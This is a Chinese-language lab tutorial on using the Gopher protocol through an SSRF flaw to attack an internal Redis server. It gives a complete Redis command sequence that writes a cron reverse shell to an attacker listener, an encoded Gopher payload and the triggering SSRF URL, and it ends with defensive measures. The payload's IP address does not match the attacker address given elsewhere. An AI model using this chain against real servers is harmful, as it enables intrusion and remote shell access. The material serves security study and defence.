Gopher协议在SSRF中的应用
字数 1503 2025-08-12 11:34:43
Gopher协议在SSRF攻击中的应用详解
1. Gopher协议概述
Gopher协议是一种早期的互联网通信协议,用于在IP网络中分发、搜索和检索文档。它具有以下特点:
- 菜单驱动的用户界面设计
- 被认为是万维网(WWW)的前身
- 最终被HTTP协议取代而不再流行
- 在现代网络环境中仍被部分编程语言和环境支持
2. Gopher协议格式规范
使用Gopher协议发起请求时需要注意以下格式要求:
-
发起POST请求时:
- 回车换行需要使用
%0d%0a代替 - 请求结尾也要加上
%0d%0a
- 回车换行需要使用
-
参数处理:
- 参数之间的
&需要进行URL编码 - 参数应以
_开头,否则第一个字符会被吞掉
- 参数之间的
3. 支持Gopher协议的环境
以下编程语言和环境支持Gopher协议:
- PHP:需启用
--with-curlwrappers且PHP版本至少为5.3 - Java:JDK版本小于1.7
- Curl:低版本支持
- Perl:支持
- ASP.NET:版本小于3
4. Gopher协议在SSRF中的优势
Gopher协议在SSRF攻击中具有以下独特优势:
-
协议灵活性:
- 支持多种协议(FTP、Redis等)
- 没有固定的数据包格式要求
-
数据纯净性:
- 传输的数据不含任何额外信息
- 与HTTP相比,不会添加请求头等冗余数据
-
兼容性:
- 可直接与各种服务的原生协议交互
- 特别适合攻击Redis、FTP等特定服务
5. 攻击实验:利用Gopher攻击内网Redis
5.1 实验环境
- 目标:通过SSRF漏洞攻击内网Redis服务器获取shell
- Redis版本:redis-stack-server-6.2.4-v2.rhel8.x86_64
- 工具:
- redis-cli:连接Redis服务器
- nc:接收反弹shell
- socat:代理转发流量
5.2 实验架构
外网攻击者 → 存在SSRF漏洞的边界主机(172.16.12.151) → 内网Redis服务器(172.16.12.136)
Redis服务器防火墙配置:
firewall-cmd --add-rich-rule='rule family=ipv4 source address=172.16.12.151 port port=6379 protocol=tcp accept'
5.3 攻击步骤
5.3.1 目标探测
-
验证SSRF漏洞存在:
http://172.16.12.151:89/ssrf.php?url=www.baidu.com -
使用dict协议探测内网端口:
http://172.16.12.151:89/ssrf.php?url=dict://172.16.12.136:6379 -
通过Burp Intruder模块批量探测端口
5.3.2 本地捕获攻击流量
- 搭建本地Redis服务器(172.16.12.155)
- 使用socat进行流量代理:
socat -v tcp-listen:6379,fork tcp-connect:172.16.12.155:6379 - 通过redis-cli连接本地代理:
redis-cli -h localhost
5.3.3 构造Redis攻击命令
目标:通过Redis写入计划任务实现反弹shell
攻击命令序列:
flushall
set deu "bash -i >&/dev/tcp/172.16.12.150/3333 0>&1"
config set dir /var/spool/cron
config set dbfilename root
save
5.3.4 流量捕获与处理
从socat捕获的原始流量需要进行以下处理:
- 去掉
><后的时间、长度等描述信息 - 替换换行符:
- 如果该行只有
\r,替换为%0a%0d%0a - 否则将
\r替换为%0d%0a
- 如果该行只有
- 将
?转码为%3f - 去掉最后的换行符
\n - 空行替换为
%0a
最终生成的Gopher payload示例:
*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adeu%0D%0A$42%0D%0Abash -i >&/dev/tcp/176.12.16.150/3333 0>&1%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/var/spool/cron/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$4%0D%0Aroot%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
5.3.5 发起攻击
-
在攻击机(172.16.12.150)上开启监听:
nc -lvnp 3333 -
通过SSRF发送Gopher请求:
http://172.16.12.151:89/ssrf.php?url=gopher://172.16.12.136:6379/_<编码后的payload>
6. 防御措施
针对此类攻击,建议采取以下防御措施:
-
对SSRF漏洞:
- 过滤或禁用危险协议(Gopher、dict等)
- 实施严格的URL白名单机制
- 禁用不必要的URL包装器
-
对Redis服务:
- 升级到最新版本(新版本增加了防御机制)
- 配置认证密码
- 限制可访问IP
- 禁用危险命令(如
config)
-
系统层面:
- 合理配置防火墙规则
- 监控异常网络连接
- 定期检查计划任务和cron目录
7. 扩展应用
Gopher协议还可用于攻击其他服务:
- FTP服务攻击
- SMTP服务攻击
- 其他基于文本协议的服务
- 写入Webshell等操作
通过灵活构造协议数据,Gopher可以成为SSRF攻击中强大的"协议隧道"。